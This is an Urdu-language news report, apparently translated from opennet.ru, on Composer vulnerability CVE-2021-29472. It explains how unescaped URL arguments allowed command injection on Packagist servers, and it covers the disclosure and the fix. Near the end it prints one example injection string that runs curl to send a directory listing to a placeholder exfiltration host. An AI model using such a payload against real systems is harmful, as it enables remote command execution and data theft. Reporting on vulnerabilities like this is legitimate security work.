کمپوزر پیکیج مینیجر میں کمزوری جو پیکجسٹ پی ایچ پی کے ذخیرے سے سمجھوتہ کرنے کی اجازت دیتی ہے۔

کمپوزر انحصار مینیجر میں ایک نازک خطرے (CVE-2021-29472) کی نشاندہی کی گئی ہے جو ایک خاص فارمیٹ شدہ URL ویلیو کے ساتھ پیکیج پر کارروائی کرتے وقت سسٹم پر صوابدیدی کمانڈز کو لاگو کرنے کی اجازت دیتا ہے جو سورس کوڈ کو ڈاؤن لوڈ کرنے کے لیے پتہ بتاتا ہے۔ یہ مسئلہ GitDriver، SvnDriver، اور HgDriver اجزاء میں ہوتا ہے جو Git، Subversion، اور Mercurial سورس کنٹرول سسٹم استعمال کرتے وقت استعمال ہوتے ہیں۔ کمپوزر ریلیز 1.10.22 اور 2.0.13 میں خطرے کو حل کیا گیا تھا۔

یہ خاص طور پر نوٹ کیا جاتا ہے کہ اس مسئلے نے بنیادی طور پر کمپوزر کے ڈیفالٹ پیکیج ریپوزٹری، پیکجسٹ کو متاثر کیا، جس میں پی ایچ پی ڈویلپرز کے لیے 306 پیکجز شامل ہیں اور ہر ماہ 1.4 بلین سے زیادہ ڈاؤن لوڈز پیش کرتے ہیں۔ تجربے سے پتہ چلتا ہے کہ اگر مسئلہ کا علم ہو تو حملہ آور پیکجسٹ انفراسٹرکچر کا کنٹرول حاصل کر سکتے ہیں اور مینٹینرز کی اسناد کو روک سکتے ہیں یا پیکج ڈاؤن لوڈز کو تھرڈ پارٹی سرور پر ری ڈائریکٹ کر سکتے ہیں، بیک ڈور کو تبدیل کرنے کے لیے بدنیتی پر مبنی تبدیلیوں کے ساتھ پیکج کی مختلف حالتوں کی ترسیل کو منظم کر سکتے ہیں۔ انحصار کی تنصیب کے عمل کے دوران۔

اختتامی صارفین کے لیے خطرہ اس حقیقت تک محدود ہے کہ composer.json کے مواد کا تعین عام طور پر صارف کے ذریعے کیا جاتا ہے، اور فریق ثالث کے ذخیروں تک رسائی کے وقت ماخذ کے لنکس منتقل کیے جاتے ہیں، جو عام طور پر قابل اعتماد ہوتے ہیں۔ اصل دھچکا Packagist.org کے ذخیرے اور پرائیویٹ پیکجسٹ سروس پر پڑا، جس نے صارفین سے موصول ہونے والے ڈیٹا کی منتقلی کے ساتھ کمپوزر کہا۔ حملہ آور اپنے کوڈ کو پیکجسٹ سرورز پر ایک خاص ڈیزائن کردہ پیکج رکھ کر چلا سکتے ہیں۔

پیکجسٹ ٹیم نے خطرے کی اطلاع ملنے کے 12 گھنٹوں کے اندر اس خطرے کو ٹھیک کر دیا۔ محققین نے نجی طور پر پیکجسٹ ڈویلپرز کو 22 اپریل کو مطلع کیا، اور اسی دن مسئلہ حل ہو گیا۔ کمزوری سے نمٹنے کے لیے کمپوزر کے لیے ایک عوامی اپ ڈیٹ 27 اپریل کو شائع کیا گیا تھا، جس کی تفصیلات 28 اپریل کو سامنے آئی تھیں۔ پیکجسٹ سرورز پر لاگز کے آڈٹ نے خطرے سے متعلق کوئی مشکوک سرگرمی ظاہر نہیں کی۔

روٹ composer.json فائل اور سورس ڈاؤن لوڈ لنکس میں یو آر ایل کی توثیق کوڈ میں ایک بگ کی وجہ سے مسئلہ ہے۔ غلطی نومبر 2011 سے کوڈ میں موجود ہے۔ پیکجسٹ کسی مخصوص سورس کنٹرول سسٹم سے بندھے بغیر کوڈ لوڈنگ کو منظم کرنے کے لیے خصوصی پرتوں کا استعمال کرتا ہے، جو "fromShellCommandline" کو کال کرکے اور کمانڈ لائن آرگیومینٹس کو پاس کرکے عمل میں لایا جاتا ہے۔ مثال کے طور پر، گٹ کے لیے، کمانڈ "git ls-remote -heads $URL" کہا جاتا ہے، جہاں URL کو "ProcessExecutor::escape($url)" طریقہ استعمال کرتے ہوئے پروسیس کیا جاتا ہے، ممکنہ طور پر خطرناک تعمیرات جیسے کہ "$(۔ ..)" یا "`...`"۔

مسئلہ کی بنیادی بات یہ ہے کہ ProcessExecutor::escape کا طریقہ "—" ترتیب سے بچ نہیں پایا، جس نے URL میں کسی بھی اضافی کال پیرامیٹر کو متعین کرنے کی اجازت دی۔ GitDriver.php، SvnDriver.php اور HgDriver.php ڈرائیوروں میں اس طرح کی فرار غائب تھی۔ GitDriver.php حملے کو اس حقیقت سے روکا گیا کہ "git ls-remote" کمانڈ راستے کے بعد اضافی دلائل کی وضاحت کرنے کی حمایت نہیں کرتی ہے۔ HgDriver.php پر حملہ "--config" پیرامیٹر کو "hq" یوٹیلیٹی میں منتقل کرنے سے ممکن ہوا، جو آپ کو "alias.identify" سیٹنگ میں ہیرا پھیری کے ذریعے کسی بھی کمانڈ کے عمل کو منظم کرنے کی اجازت دیتا ہے۔ مثال کے طور پر، curl یوٹیلیٹی کو چلا کر کوڈ کو ڈاؤن لوڈ کرنے اور اس پر عمل درآمد کرنے کے لیے، آپ یہ بتا سکتے ہیں: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

پیکجسٹ سے ملتے جلتے یو آر ایل کے ساتھ ایک ٹیسٹ پیکج پوسٹ کر کے، محققین نے تصدیق کی کہ پوسٹ کرنے کے بعد، ان کے سرور کو AWS میں پیکجسٹ سرورز میں سے ایک سے HTTP درخواست موصول ہوئی ہے جس میں موجودہ ڈائریکٹری میں فائلوں کی فہرست ہے۔

ماخذ: opennet.ru

نیا تبصرہ شامل کریں